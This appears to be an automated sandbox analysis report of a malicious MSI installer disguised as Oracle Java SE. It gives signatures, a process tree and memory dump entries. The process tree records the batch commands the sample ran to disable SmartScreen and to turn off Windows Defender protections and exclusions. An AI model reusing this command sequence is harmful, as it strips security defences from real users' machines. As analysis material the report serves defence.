Analysis

  • max time kernel
    106s
  • max time network
    126s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    24/06/2021, 00:12

General

  • Target
    938b2e065955369403bd5ed78c063b44.msi
  • Size 4.3MB
  • Sample210624-cedwdgmhee
  • SHA256 02f79fab5c5cec65fcbd8ad039537afbe7badc815d55e63d031ae527f4a7bbd5
  • MD5 SHA1 SHA512
Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Possible privilege escalation attempt 3 IoCs
  • Loads dropped DLL 12 IoCs
  • Modifies file permissions 1 TTPs 3 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 31 IoCs
  • Drops file in Windows directory 14 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 23 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\938b2e065955369403bd5ed78c063b44.msi
    1⤵
    • Blocklisted process makes network request
    • Enumerates connected drives
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:1096
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2888
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 7CC4235065465C4732B896D650201950
      2⤵
      • Loads dropped DLL
      PID:2700
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 890518455DD6FEDD9E43FCB34CDE9C63 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1900
      • C:\Windows\syswow64\cmd.exe
        "cmd.exe" /C "C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\setup.bat"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3512
        • C:\Windows\SysWOW64\takeown.exe
          takeown /f "C:\Windows\System32\smartscreen.exe" /a
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1872
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Windows\System32\smartscreen.exe" /reset
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:904
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /im smartscreen.exe /f
          4⤵
          • Kills process with taskkill
          PID:3028
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Windows\System32\smartscreen.exe" /inheritance:r /remove *S-1-5-32-544 *S-1-5-11 *S-1-5-32-545 *S-1-5-18
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3368
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Add-MpPreference -ExclusionExtension ".exe""
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:3952
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Add-MpPreference -ExclusionExtension ".dll""
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:2692
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c powershell.exe -command "Set-MpPreference -MAPSReporting 0"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2512
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -command "Set-MpPreference -MAPSReporting 0"
            5⤵
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:2508
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -PUAProtection disable"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4504
        • C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\Register.exe
          Register.exe
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetWindowsHookEx
          PID:4532
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath '"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4560
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -EnableControlledFolderAccess Disabled"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4604
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4656
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisableBehaviorMonitoring $true"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4676
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisableIOAVProtection $true"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4780
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisablePrivacyMode $true"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4848
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4936
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisableArchiveScanning $true"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:5016
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisableScriptScanning $true"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:1420
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:5116
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4296
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -ScanScheduleDay 8"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:2200
  • C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\j_service.exe
    "C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\j_service.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    PID:1808

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1420-268-0x0000000004070000-0x0000000004071000-memory.dmp

        memory/1420-299-0x0000000004073000-0x0000000004074000-memory.dmp

        memory/1420-269-0x0000000004072000-0x0000000004073000-memory.dmp

        memory/2200-273-0x00000000070A0000-0x00000000070A1000-memory.dmp

        memory/2200-274-0x00000000070A2000-0x00000000070A3000-memory.dmp

        memory/2200-294-0x000000007F6C0000-0x000000007F6C1000-memory.dmp

        memory/2200-300-0x00000000070A3000-0x00000000070A4000-memory.dmp

        memory/2508-221-0x00000000044D3000-0x00000000044D4000-memory.dmp

        memory/2508-219-0x000000007E9E0000-0x000000007E9E1000-memory.dmp

        memory/2508-216-0x0000000008980000-0x00000000089B3000-memory.dmp

        memory/2508-188-0x0000000007920000-0x0000000007921000-memory.dmp

        memory/2508-169-0x00000000044D0000-0x00000000044D1000-memory.dmp

        memory/2508-170-0x00000000044D2000-0x00000000044D3000-memory.dmp

        memory/2692-168-0x00000000070F0000-0x00000000070F1000-memory.dmp

        memory/2692-220-0x00000000070F3000-0x00000000070F4000-memory.dmp

        memory/2692-161-0x0000000004E80000-0x0000000004E81000-memory.dmp

        memory/2692-172-0x00000000070F2000-0x00000000070F3000-memory.dmp

        memory/2692-185-0x0000000008320000-0x0000000008321000-memory.dmp

        memory/2692-191-0x0000000008650000-0x0000000008651000-memory.dmp

        memory/2692-218-0x000000007E620000-0x000000007E621000-memory.dmp

        memory/2692-173-0x00000000074A0000-0x00000000074A1000-memory.dmp

        memory/2692-182-0x0000000007ED0000-0x0000000007ED1000-memory.dmp

        memory/2692-176-0x0000000007620000-0x0000000007621000-memory.dmp

        memory/3952-164-0x0000000007350000-0x0000000007351000-memory.dmp

        memory/3952-167-0x0000000004900000-0x0000000004901000-memory.dmp

        memory/3952-171-0x0000000004902000-0x0000000004903000-memory.dmp

        memory/3952-214-0x000000007F590000-0x000000007F591000-memory.dmp

        memory/3952-222-0x0000000004903000-0x0000000004904000-memory.dmp

        memory/3952-179-0x0000000007BE0000-0x0000000007BE1000-memory.dmp

        memory/4296-272-0x0000000006E92000-0x0000000006E93000-memory.dmp

        memory/4296-271-0x0000000006E90000-0x0000000006E91000-memory.dmp

        memory/4296-296-0x0000000006E93000-0x0000000006E94000-memory.dmp

        memory/4296-295-0x000000007F2C0000-0x000000007F2C1000-memory.dmp

        memory/4504-243-0x0000000004942000-0x0000000004943000-memory.dmp

        memory/4504-276-0x0000000004943000-0x0000000004944000-memory.dmp

        memory/4504-275-0x000000007EEC0000-0x000000007EEC1000-memory.dmp

        memory/4504-242-0x0000000004940000-0x0000000004941000-memory.dmp

        memory/4560-249-0x0000000006AF2000-0x0000000006AF3000-memory.dmp

        memory/4560-279-0x000000007EC80000-0x000000007EC81000-memory.dmp

        memory/4560-248-0x0000000006AF0000-0x0000000006AF1000-memory.dmp

        memory/4560-281-0x0000000006AF3000-0x0000000006AF4000-memory.dmp

        memory/4604-278-0x00000000051C3000-0x00000000051C4000-memory.dmp

        memory/4604-277-0x000000007EDE0000-0x000000007EDE1000-memory.dmp

        memory/4604-254-0x00000000051C2000-0x00000000051C3000-memory.dmp

        memory/4604-252-0x00000000051C0000-0x00000000051C1000-memory.dmp

        memory/4656-258-0x0000000004B22000-0x0000000004B23000-memory.dmp

        memory/4656-282-0x0000000004B23000-0x0000000004B24000-memory.dmp

        memory/4656-280-0x000000007F9D0000-0x000000007F9D1000-memory.dmp

        memory/4656-255-0x0000000004B20000-0x0000000004B21000-memory.dmp

        memory/4676-286-0x0000000004983000-0x0000000004984000-memory.dmp

        memory/4676-283-0x000000007F430000-0x000000007F431000-memory.dmp

        memory/4676-263-0x0000000004982000-0x0000000004983000-memory.dmp

        memory/4676-260-0x0000000004980000-0x0000000004981000-memory.dmp

        memory/4780-288-0x0000000007433000-0x0000000007434000-memory.dmp

        memory/4780-244-0x0000000007430000-0x0000000007431000-memory.dmp

        memory/4780-245-0x0000000007432000-0x0000000007433000-memory.dmp

        memory/4780-284-0x000000007DFD0000-0x000000007DFD1000-memory.dmp

        memory/4848-289-0x0000000007083000-0x0000000007084000-memory.dmp

        memory/4848-250-0x0000000007080000-0x0000000007081000-memory.dmp

        memory/4848-251-0x0000000007082000-0x0000000007083000-memory.dmp

        memory/4848-285-0x000000007F7A0000-0x000000007F7A1000-memory.dmp

        memory/4936-256-0x0000000000B90000-0x0000000000B91000-memory.dmp

        memory/4936-257-0x0000000000B92000-0x0000000000B93000-memory.dmp

        memory/4936-287-0x000000007E500000-0x000000007E501000-memory.dmp

        memory/4936-292-0x0000000000B93000-0x0000000000B94000-memory.dmp

        memory/5016-262-0x0000000004402000-0x0000000004403000-memory.dmp

        memory/5016-297-0x0000000004403000-0x0000000004404000-memory.dmp

        memory/5016-290-0x000000007E2E0000-0x000000007E2E1000-memory.dmp

        memory/5016-261-0x0000000004400000-0x0000000004401000-memory.dmp

        memory/5116-267-0x0000000006E62000-0x0000000006E63000-memory.dmp

        memory/5116-298-0x0000000006E63000-0x0000000006E64000-memory.dmp

        memory/5116-291-0x000000007F920000-0x000000007F921000-memory.dmp

        memory/5116-266-0x0000000006E60000-0x0000000006E61000-memory.dmp